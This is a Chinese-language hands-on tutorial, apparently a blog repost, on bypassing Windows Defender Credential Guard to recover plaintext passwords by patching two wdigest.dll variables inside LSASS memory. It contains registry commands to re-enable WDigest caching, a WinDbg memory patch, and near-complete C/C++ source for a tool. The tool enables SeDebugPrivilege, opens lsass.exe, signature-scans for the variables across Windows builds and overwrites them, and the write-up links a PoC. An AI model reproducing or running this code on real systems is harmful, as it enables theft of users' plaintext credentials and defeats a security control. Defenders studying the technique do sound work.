原文链接:实战 | 从Wdigest绕过Credential Guard 获取明文密码
由 LSASS 进程加载的 wdigest.dll 模块有两个有趣的全局变量:g_fParameter_useLogonCredential 和 g_IsCredGuardEnabled,他们的作用仅从名称就能不言而喻,前者用于确定是否应将明文密码存储在内存中,后者保存模块内 Credential Guard 的状态,通过修补内存中这两个全局变量的值,可以在具有 Credential Guard 保护的系统上开启 Wdigest 明文缓存。 Credential Guard Windows Defender Credential Guard 使用基于虚拟化的安全性来隔离机密,依次保护 NTLM 密码哈希、Kerberos TGT 票据和应用程序存储为域凭据的凭据来防止凭据盗窃、哈希传递或票据传递等攻击。 在 Windows 10 之前,LSA 将操作系统所使用的密码存储在其进程内存中。启用 Windows Defender Credential Guard 后,操作系统中的 LSA 进程与存储和保护这些密钥的新组件(称为隔离的 LSA 进程,Isolated LSA Process)进行通信。 独立 LSA 进程存储的数据使用基于虚拟化的安全性进行保护,操作系统的其余部分无法访问。 LSA 使用远程过程调用来与隔离的 LSA 进程进行通信。 下面简要概述了如何使用基于虚拟化的安全性来隔离 LSA: 如果我们在启用了 Credential Guard 的系统上尝试使用 Mimikatz 从 LSASS 进程内存中提取凭证,我们会观察到以下结果。 如上图所示,我们无法从 LSASS 内存中提取任何凭据,NTLM 哈希处显示的是 “LSA Isolated Data: NtlmHash”。并且,即便已经通过修改注册表启用了 Wdigest,也依然获取不到任何明凭据。 为了进行比较,下图所示为不受 Credential Guard 保护的系统上的输出。 从 Windows 11 Enterprise, Version 22H2 和 Windows 11 Education, Version 22H 开始,兼容系统默认已启用 Windows Defender Credential Guard。不过,通过本篇文章的方法,可以轻松绕过 Credential Guard,并获取明文凭据。 技术细节 为了防止用户的明文密码在内存中泄露,微软在 2014 年 5 月发布了 KB2871997 补丁,关闭了Wdigest功能,无法从内存中获取明文密码。并且,在 Windows Server 2012 及以上版本中都默认关闭 Wdigest 功能,无法从内存中获取明文密码。但是可以通过修改注册表重新开启 Wdigest,如下所示。 # Enable Wdigest reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f # Disable Wdigest reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f g_fParameter_useLogonCredential 在 wdigest.dll 内部,其通过 g_fParameter_UseLogonCredential 变量来确定系统是否设置了 UseLogonCredential 注册表键值。如下图所示, RegQueryValueExW() 函数检索 UseLogonCredential 注册表值,并由 g_fParameter_UseLogonCredential 接收,显然这个变量受前面提到的注册表键值的控制,并决定 Wdigest 后续是否缓存明文凭据。 因此,如果我们将 LSASS 内存中的 g_fParameter_UseLogonCredential 变量值改为 1,也许可以在不更新注册表的情况下获取明文凭据。我们通过 WinDbg 进行内存修补。需要注意的是,由于无法将直接将 WinDbg 附加到 lsass.exe,我们需要先 Attach 内核,并切换到 lsass.exe 进程,相关细节请读者自行上网查阅,这里不再赘述。 (1)首先我们确定当前系统禁用了 Wdigest,并且 Credential Guard 没有启用,如下图所示,可以转储 Administrator 用户的哈希,但是无法提取明文密码。 (2)通过 WinDbg 调试器修补内存,将 g_fParameter_UseLogonCredential 变量值改为 1,如下图所示。 ed wdigest!g_fParameter_UseLogonCredential 1 (3)当 Administrator 用户重新输入用户名密码进行身份验证时,即可提取到其明文密码。 但这是适用于 Credential Guard 禁用的情况下,如果目标系统开启了 Credential Guard 保护,即便将 g_fParameter_UseLogonCredential 值设为 1 也无法让 Wdigest 缓存明文凭据。 g_IsCredGuardEnabled Adam Chester 的文章中提到的第二个全局变量是 g_IsCredGuardEnabled,该变量用于保存模块内 Credential Guard 的状态,并决定 Wdigest 后续是否使用 Credential Guard 兼容的功能。 当在系统上启用 Credential Guard 时,g_IsCredGuardEnabled 的值设置为 ,取消设置此值或将其设为 0 也许可以绕过 Credential Guard 保护。下面笔者通过 C/C++ 编程,尝试在 LSASS 内存中修补两个变量的值。这最终可以欺骗 WDigest 模块,使其表现得好像未启用 Credential Guard 保护并且系统配置为在内存中缓存明文密码。一旦这两个值在 LSASS 进程中被正确修补,将在下一次用户输入用户名密码进行身份验证时保存用户的明文密码。 通过 C/C++ 实现 笔者的思路是先从 LSASS 进程中计算出加载的 wdigest.dll 模块的基地址,然后在该模块中定位两个全局变量,最后修补这两个变量的值。至于如何找这两个变量,可以参考 Mimikatz 中用过的签名扫描的方法。这些全局变量之所以存在,首先是因为它们在代码中的某个地方被使用。如果我们可以利用某些不变的字节序列作为特征码来识别引用这些全局变量的指令,在 x86_64 架构上,这些指令使用 rip 相对寻址来访问和使用全局变量,通过加减相应的偏移量,就能找到相应的全局变量。 以 Windows 10 x64, Version 1903 系统为例,在 wdigest.dll 中搜索 g_fParameter_useLogonCredential 变量可以在右侧的看到所有引用过它的地方,如下图所示。 第一个出现的函数为 SpAcceptCredentials(),可以查看此处的汇编代码: 39 1D B3 38 03 00 cmp cs:g_fParameter_UseLogonCredential, ebx 8B 05 11 33 03 00 mov eax, cs:g_IsCredGuardEnabled0F 85 06 72 00 00 jnz loc_180008A83 loc_18000187D: ; CODE XREF: SpAcceptCredentials+730B↓j 41 B4 01 mov r12b, 1 44 88 A4 24 A8 00 00 00 mov [rsp+98h+arg_8], r12b 85 C0 test eax, eax 0F 85 00 72 00 00 jnz loc_180008A90 在第 1 行的 cmp 指令中,第 1 个字节 39 代表 cmp 的操作码,第 2 个字节 1D 代表源寄存器,最后 B3 38 03 00 保存的是 g_fParameter_UseLogonCredential 变量相对于 rip 的偏移量(小端序),此时 rip 指向 B3 38 03 00 结束的地址。同理,对于第 2 行的指令可以得到 g_IsCredGuardEnabled 的偏移量为 11 33 03 00。 在这个例子中,我们可以将第 6 行开始的字节序列 41 B4 01 44 88 A4 24 A8 00 00 00 85 C0 作为特征码,得到地址为 0x18000187D。然后减去 16 个字节定位到保存 g_fParameter_UseLogonCredential 偏移量的四个字节序列,取出偏移量为 0x338B3,最后可以计算出 g_fParameter_UseLogonCredential 的地址为 0x18000187D - Hex(16) + Hex(4) + 0x338B3 = 0x180035124,如下图所示位置。 同理可以获得 g_IsCredGuardEnabled 变量的地址为 0x18000187D - Hex(10) + Hex(4) + 0x33311 = 0x180034B88,如下图所示位置。 Main Function 如下编写主函数。主函数启动后,首先会通过 RtlGetNtVersionNumbers() 函数获取操作系统版本,并分别赋值常量 NT_MAJOR_VERSION、NT_MINOR_VERSION 和 NT_BUILD_NUMBER。 int wmain(int argc, wchar_t* argv[]) { HANDLE hToken = NULL; RtlGetNtVersionNumbers(&NT_MAJOR_VERSION, &NT_MINOR_VERSION, &NT_BUILD_NUMBER); // Open a process token and get a process token handle with TOKEN_ADJUST_PRIVILEGES permission if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { wprintf(L"[-] OpenProcessToken Error [%u].\n", GetLastError()); return -1; } if (EnableDebugPrivilege(hToken, SE_DEBUG_NAME)) { PatchMemory(); } } 然后通过 GetCurrentProcess() 函数获取当前进程,并用 OpenProcessToken() 函数打开当前进程的句柄,并将其赋给 hToken。 由于 lsass.exe 是系统进程,因此工具在调试 lsass.exe 内存之前需要通过 AdjustTokenPrivileges() 函数为其开启 SeDebugPrivilege 特权,为此我编写了 EnableDebugPrivilege() 函数为当前进程提升令牌特权,如下所示。 BOOL EnableDebugPrivilege(HANDLE hToken, LPCWSTR lpName) { BOOL status = FALSE; LUID luidValue = { 0 }; TOKEN_PRIVILEGES tokenPrivileges; // Get the LUID value of the SE_DEBUG_NAME (SeDebugPrivilege) privilege for the local system if (!LookupPrivilegeValueW(NULL, lpName, &luidValue)) { wprintf(L"[-] LookupPrivilegeValue Error [%u].\n", GetLastError()); return status; } // Set escalation information tokenPrivileges.PrivilegeCount = 1; tokenPrivileges.Privileges[0].Luid = luidValue; tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // Elevate Process Token Access if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, sizeof(tokenPrivileges), NULL, NULL)) { wprintf(L"[-] AdjustTokenPrivileges Error [%u].\n", GetLastError()); return status; } else { status = TRUE; } return status; } 提升令牌特权后,进入 PatchMemory() 函数开始修补内存。 获取 wdigest.dll 模块基地址 在开始修补此之前,我们需要枚举 LSASS 加载的模块,并确定 wdigest.dll 模块基地址以及两个全局变量的地址。为此我编写了 AcquireLSA() 函数,如下所示。 BOOL AcquireLSA() { BOOL status = FALSE; DWORD pid; if (pid = GetProcessIdByName(L"lsass.exe")) cLsass.hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); else wprintf(L"[-] Lsass Process Not Found."); cLsass.osContext.MajorVersion = NT_MAJOR_VERSION; cLsass.osContext.MinorVersion = NT_MINOR_VERSION; cLsass.osContext.BuildNumber = NT_BUILD_NUMBER & 0x00007fff; if (GetVeryBasicModuleInformations(cLsass.hProcess) && LsassPackage.Module.isPresent) { wprintf(L" Base address of wdigest.dll: 0x%016llx\n", LsassPackage.Module.Informations.DllBase.address); if (LsaSearchGeneric(&cLsass, &LsassPackage.Module, g_References, ARRAYSIZE(g_References), (PVOID*)&g_fParameter_UseLogonCredential, (PVOID*)&g_IsCredGuardEnabled) && LsassPackage.Module.isInit) { wprintf(L" Address of g_fParameter_UseLogonCredential: 0x%016llx\n", g_fParameter_UseLogonCredential); wprintf(L" Address of g_IsCredGuardEnabled: 0x%016llx\n", g_IsCredGuardEnabled); status = TRUE; } } return status; } 在该函数内部,首先通过自定义函数 GetProcessIdByName() 获取 lsass.exe 进程的 PID,通过 OpenProcess() 打开 lsass.exe 进程的句柄后保存到 cLsass.hProcess 中。得到 lsass.exe 进程 PID 后,继续调用自定义函数 GetVeryBasicModuleInformations() 获取 lsass.exe 进程的基本信息,主要获取 lsass.exe 进程加载的 wdigest.dll 模块,这里采用了遍历 PEB 结构的方法。 在获取 lsass.exe 进程的 PEB 时,我编写了一个 GetProcessPeb() 函数,其内部调用 NtQueryInformationProcess() 函数检索指定进程的 PEB 结构信息,如下所示。 BOOL GetProcessPeb(HANDLE hProcess, PPEB pPeb) { BOOL status = FALSE; PROCESS_BASIC_INFORMATION processInformations; ULONG returnLength; if (NT_SUCCESS(NtQueryInformationProcess(hProcess, ProcessBasicInformation, &processInformations, sizeof(processInformations), &returnLength)) && (returnLength == sizeof(processInformations)) && processInformations.PebBaseAddress) { status = ReadProcessMemory(hProcess, processInformations.PebBaseAddress, pPeb, sizeof(PEB), NULL); } return status; } 然后编写 GetVeryBasicModuleInformations() 函数,用于遍历 lsass.exe 进程的 PEB,来获取 lsass.exe 进程加载的 wdigest.dll 模块的地址,该函数定义如下。 BOOL GetVeryBasicModuleInformations(HANDLE hProcess) { BOOL status = FALSE; PEB Peb; PEB_LDR_DATA LdrData; LDR_DATA_TABLE_ENTRY LdrEntry; PROCESS_VERY_BASIC_MODULE_INFORMATION moduleInformation; UNICODE_STRING moduleName; PBYTE pListEntryStart, pListEntryEnd; moduleInformation.ModuleName = &moduleName; if (GetProcessPeb(hProcess, &Peb)) { if (ReadProcessMemory(hProcess, Peb.Ldr, &LdrData, sizeof(PEB_LDR_DATA), NULL)) { for ( pListEntryStart = (PBYTE)LdrData.InLoadOrderModuleList.Flink, pListEntryEnd = (PBYTE)Peb.Ldr + FIELD_OFFSET(PEB_LDR_DATA, InLoadOrderModuleList); pListEntryStart != pListEntryEnd; pListEntryStart = (PBYTE)LdrEntry.InLoadOrderLinks.Flink ) { if (ReadProcessMemory(hProcess, pListEntryStart, &LdrEntry, sizeof(LDR_DATA_TABLE_ENTRY), NULL)) { moduleInformation.DllBase.address = LdrEntry.DllBase; moduleInformation.SizeOfImage = LdrEntry.SizeOfImage; moduleName = LdrEntry.BaseDllName; if (GetUnicodeString(&moduleName, cLsass.hProcess)) { status = FindModules(&moduleInformation); } LocalFree(moduleName.Buffer); } } } } return status; } 在 GetVeryBasicModuleInformations() 内部,首先调用 GetProcessPeb() 函数检索有关 lsass.exe 进程的 PEB 结构信息,并通过 ReadProcessMemory() 函数将 Peb.Ldr 指向的 PEB_LDR_DATA 结构复制到 LdrData 中。 然后遍历所有 LDR_DATA_TABLE_ENTRY 结构,分别获取模块地址、映像文件大小和映像文件名称,并把它们保存到 moduleInformation 中,这是了一个 PROCESS_VERY_BASIC_MODULE_INFORMATION 结构体,其定义如下,用于存储 wdigest.dll 模块的有关信息。 typedef struct PROCESS_VERY_BASIC_MODULE_INFORMATION { KULL_M_MEMORY_ADDRESS DllBase; // 存储已加载模块的地址 ULONG SizeOfImage; // 存储已加载模块的映像大小 ULONG TimeDateStamp; PCUNICODE_STRING NameDontUseOutsideCallback; // 存储已加载模块的映像名称 } PROCESS_VERY_BASIC_MODULE_INFORMATION, *PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION; 最后通过 FindModules() 函数比较当前循环中的模块名称与 wdigest.dll 是否相等,并将模块信息保存到 LsassPackage.Module.Informations 中,如下所示。 BOOL FindModules(PPROCESS_VERY_BASIC_MODULE_INFORMATION pModuleInformation) { if (_wcsicmp(LsassPackage.ModuleName, pModuleInformation->ModuleName->Buffer) == 0) { LsassPackage.Module.isPresent = TRUE; LsassPackage.Module.Informations = *pModuleInformation; } return TRUE; } 至此,成功获取到 wdigest.exe 进程中加载的 lsasrv.dll 模块的信息,GetVeryBasicModuleInformations() 函数调用结束。接下来,将调用 LsaSearchGeneric() 函数来定位 g_fParameter_useLogonCredential 和 g_IsCredGuardEnabled 这两个全局变量。 获取两个全局变量 前文中提到,在定位 g_fParameter_useLogonCredential 和 g_IsCredGuardEnabled 这两个关键的全局变量时,采用签名扫描的方法。参考 Mimikatz,可以将常见系统版本的特征码保存在一个名为 g_References[] 的数组中,这些特征码用于识别引用它们的指令,如下所示。 BYTE PTRN_WIN1607_SpAcceptCredentials[] = { 0x41, 0xb5, 0x01, 0x44, 0x88, 0x6d, 0x48, 0x85, 0xc0 }; BYTE PTRN_WIN1909_SpAcceptCredentials[] = { 0x41, 0xb4, 0x01, 0x44, 0x88, 0xa4, 0x24, 0xa8, 0x00, 0x00, 0x00, 0x85, 0xc0 }; BYTE PTRN_WIN2022_SpAcceptCredentials[] = { 0x41, 0xb5, 0x01, 0x85, 0xc0 }; PATCH_GENERIC g_References[] = { {WIN_BUILD_10_1607, {sizeof(PTRN_WIN1607_SpAcceptCredentials), PTRN_WIN1607_SpAcceptCredentials}, {0, NULL}, {-16, -10}}, {WIN_BUILD_10_1703, {sizeof(PTRN_WIN1909_SpAcceptCredentials), PTRN_WIN1909_SpAcceptCredentials}, {0, NULL}, {-16, -10}}, {WIN_BUILD_10_1709, {sizeof(PTRN_WIN1909_SpAcceptCredentials), PTRN_WIN1909_SpAcceptCredentials}, {0, NULL}, {-16, -10}}, {WIN_BUILD_10_1803, {sizeof(PTRN_WIN1909_SpAcceptCredentials), PTRN_WIN1909_SpAcceptCredentials}, {0, NULL}, {-16, -10}}, {WIN_BUILD_10_1809, {sizeof(PTRN_WIN1909_SpAcceptCredentials), PTRN_WIN1909_SpAcceptCredentials}, {0, NULL}, {-16, -10}}, {WIN_BUILD_10_1903, {sizeof(PTRN_WIN1909_SpAcceptCredentials), PTRN_WIN1909_SpAcceptCredentials}, {0, NULL}, {-16, -10}}, {WIN_BUILD_10_1909, {sizeof(PTRN_WIN1909_SpAcceptCredentials), PTRN_WIN1909_SpAcceptCredentials}, {0, NULL}, {-16, -10}}, {WIN_BUILD_10_2004, {sizeof(PTRN_WIN2022_SpAcceptCredentials), PTRN_WIN2022_SpAcceptCredentials}, {0, NULL}, {-16, -10}}, {WIN_BUILD_10_20H2, {sizeof(PTRN_WIN2022_SpAcceptCredentials), PTRN_WIN2022_SpAcceptCredentials}, {0, NULL}, {-16, -10}}, {WIN_BUILD_10_21H2, {sizeof(PTRN_WIN2022_SpAcceptCredentials), PTRN_WIN2022_SpAcceptCredentials}, {0, NULL}, {-16, -10}}, {WIN_MIN_BUILD_11, {sizeof(PTRN_WIN2022_SpAcceptCredentials), PTRN_WIN2022_SpAcceptCredentials}, {0, NULL}, {-16, -10}}, {WIN_BUILD_2022, {sizeof(PTRN_WIN2022_SpAcceptCredentials), PTRN_WIN2022_SpAcceptCredentials}, {0, NULL}, {-16, -10}}, }; 数组中的每个成员都是一个 PATCH_GENERIC 结构体,用于保存特征码的匹配规则,其结构定义如下。 typedef struct _PATCH_GENERIC { DWORD MinBuildNumber; // 系统版本号 PATCH_PATTERN Search; // 包含特征码 PATCH_PATTERN Patch; PATCH_OFFSETS Offsets; // 保存 g_fParameter_useLogonCredential 和 g_IsCredGuardEnabled 偏移量值的四个字节的偏移量 } PATCH_GENERIC, * PPATCH_GENERIC; 下面开始编写 LsaSearchGeneric() 函数,定义如下。 BOOL LsaSearchGeneric(PLSA_CONTEXT cLsass, PLSA_LIB pLib, PPATCH_GENERIC genericReferences, SIZE_T cbReferences, PVOID* genericPtr, PVOID* genericPtr1) { BOOL status = FALSE; MEMORY_SEARCH sMemory = { {pLib->Informations.DllBase.address, pLib->Informations.SizeOfImage}, NULL }; PPATCH_GENERIC currentReference; LONG offset; MEMORY_ADDRESS lsassMemory; if (currentReference = GetGenericFromBuild(genericReferences, cbReferences, cLsass->osContext.BuildNumber)) { if (MemorySearch(cLsass->hProcess, currentReference->Search.Pattern, currentReference->Search.Length, &sMemory)) { wprintf(L" Matched signature at 0x%016llx: ", sMemory.result); PrintfHex(currentReference->Search.Pattern, currentReference->Search.Length); lsassMemory.address = (PBYTE)sMemory.result + currentReference->Offsets.off0; if (status = ReadProcessMemory(cLsass->hProcess, lsassMemory.address, &offset, sizeof(LONG), NULL)) { *genericPtr = ((PBYTE)lsassMemory.address + sizeof(LONG) + offset); } if (genericPtr1) { lsassMemory.address = (PBYTE)sMemory.result + currentReference->Offsets.off1; if (status = ReadProcessMemory(cLsass->hProcess, lsassMemory.address, &offset, sizeof(LONG), NULL)) { *genericPtr1 = ((PBYTE)lsassMemory.address + sizeof(LONG) + offset); } } } } pLib->isInit = status; return status; } 在该函数内部,GetGenericFromBuild() 会根据 cLsass->osContext.BuildNumber 记录的版本号在 g_References 中选择适用于当前系统版本的特征码规则,并赋值给 currentReference。然后将 currentReference 连同 &sMemory 传入自定义函数 MemorySearch()。其中 sMemory 是一个 MEMORY_SEARCH 结构体,用于临时保存 lsasrv.dll 模块的基地址和映像大小,其定义如下。 typedef struct _MEMORY_SEARCH { MEMORY_RANGE memoryRange; LPVOID result; } MEMORY_SEARCH, * PMEMORY_SEARCH; typedef struct _MEMORY_RANGE { MEMORY_ADDRESS memoryAdress; SIZE_T size; } MEMORY_RANGE, * PMEMORY_RANGE; typedef struct _MEMORY_ADDRESS { LPVOID address; } MEMORY_ADDRESS, * PMEMORY_ADDRESS; MemorySearch() 函数用于在内存中匹配特征码,其定义如下。其首先划分出 wdigest.dll 模块的内存空间从而确定要搜索范围的最大内存地址 limit,然后遍历 limit 范围的内存,通过 RtlEqualMemory() 函数匹配出与特征码相同的内存块,最终确定特征码的地址。 BOOL MemorySearch(HANDLE hProcess, LPBYTE Pattern, SIZE_T Length, PMEMORY_SEARCH Search) { BOOL status = FALSE; MEMORY_SEARCH sBuffer = { { NULL, Search->memoryRange.size}, NULL }; PBYTE CurrentPtr; PBYTE limit; if (sBuffer.memoryRange.memoryAdress.address = LocalAlloc(LPTR, Search->memoryRange.size)) { if (ReadProcessMemory(hProcess, Search->memoryRange.memoryAdress.address, sBuffer.memoryRange.memoryAdress.address, Search->memoryRange.size, NULL)) { limit = (PBYTE)sBuffer.memoryRange.memoryAdress.address + sBuffer.memoryRange.size; for (CurrentPtr = (PBYTE)sBuffer.memoryRange.memoryAdress.address; !status && (CurrentPtr + Length <= limit); CurrentPtr++) status = RtlEqualMemory(Pattern, CurrentPtr, Length); CurrentPtr--; Search->result = (PBYTE)Search->memoryRange.memoryAdress.address + ((PBYTE)CurrentPtr - (PBYTE)sBuffer.memoryRange.memoryAdress.address); } } return status; } 得到的特征码地址被赋值给 Search->result,然后返回 LsaSearchGeneric() 函数后,将 currentReference 中获取的第一个偏移量加到特征码地址上,如下所示。 lsassMemory.address = (PBYTE)sMemory.result + currentReference->Offsets.off0; 这里得到 cmp cs:g_fParameter_UseLogonCredential, ebx 指令中保存 g_fParameter_useLogonCredential 变量偏移量的四个字节序列的地址。然后通过 ReadProcessMemory() 函数获取这四个字节序列的值到 offset 中,此时 offset 中保存了 g_fParameter_useLogonCredential 变量真正的偏移量。将 sizeof(LONG) 和 offset 加到 rip 指向的地址上即可得到 g_fParameter_useLogonCredential 变量的地址,如下所示。 if (status = ReadProcessMemory(cLsass->hProcess, lsassMemory.address, &offset, sizeof(LONG), NULL)) { *genericPtr = ((PBYTE)lsassMemory.address + sizeof(LONG) + offset); } 同理可以获得 g_IsCredGuardEnabled 变量的地址。 至此,成功得到 g_fParameter_useLogonCredential 和 g_IsCredGuardEnabled 变量的地址。 修改两个变量的值 得到两个变量的地址后,PatchMemory() 函数开始修补这两的变量的值,其通过 WriteProcessMemory() 函数向指定变量的地址写入修改值,从而将 g_fParameter_useLogonCredential 变量的值设为 1,g_IsCredGuardEnabled 变量的值设为 0,如下所示。 BOOL PatchMemory() { BOOL status = FALSE; DWORD dwCurrent; DWORD UseLogonCredential = 1; DWORD IsCredGuardEnabled = 0; status = AcquireLSA(); if (status) { if (ReadProcessMemory(cLsass.hProcess, g_fParameter_UseLogonCredential, &dwCurrent, sizeof(DWORD), NULL)) { wprintf(L" The current value of g_fParameter_UseLogonCredential is %d\n", dwCurrent); if (WriteProcessMemory(cLsass.hProcess, g_fParameter_UseLogonCredential, (PVOID)&UseLogonCredential, sizeof(DWORD), NULL)) { wprintf(L" Patched value of g_fParameter_UseLogonCredential to 1\n"); status = TRUE; } else wprintf(L"[-] Failed to WriteProcessMemory for g_fParameter_UseLogonCredential.\n"); } else wprintf(L"[-] Failed to ReadProcessMemory for g_fParameter_UseLogonCredential\n"); if (ReadProcessMemory(cLsass.hProcess, g_IsCredGuardEnabled, &dwCurrent, sizeof(DWORD), NULL)) { wprintf(L" The current value of g_IsCredGuardEnabled is %d\n", dwCurrent); if (WriteProcessMemory(cLsass.hProcess, g_IsCredGuardEnabled, (PVOID)&IsCredGuardEnabled, sizeof(DWORD), NULL)) { wprintf(L" Patched value of g_IsCredGuardEnabled to 0\n"); status = TRUE; } else wprintf(L"[-] Failed to WriteProcessMemory for g_IsCredGuardEnabled.\n"); } else wprintf(L"[-] Failed to ReadProcessMemory for g_IsCredGuardEnabled\n"); } return status; } 执行效果 在启用了 Credential Guard 保护的系统上运行我们编写的 POC(https://github.com/wh0Nsq/BypassCredGuard),当用户输入用户名密码重新登陆时,我们重新得到了他的明文密码,如下图所示。 BypassCredGuard.exe 图片
|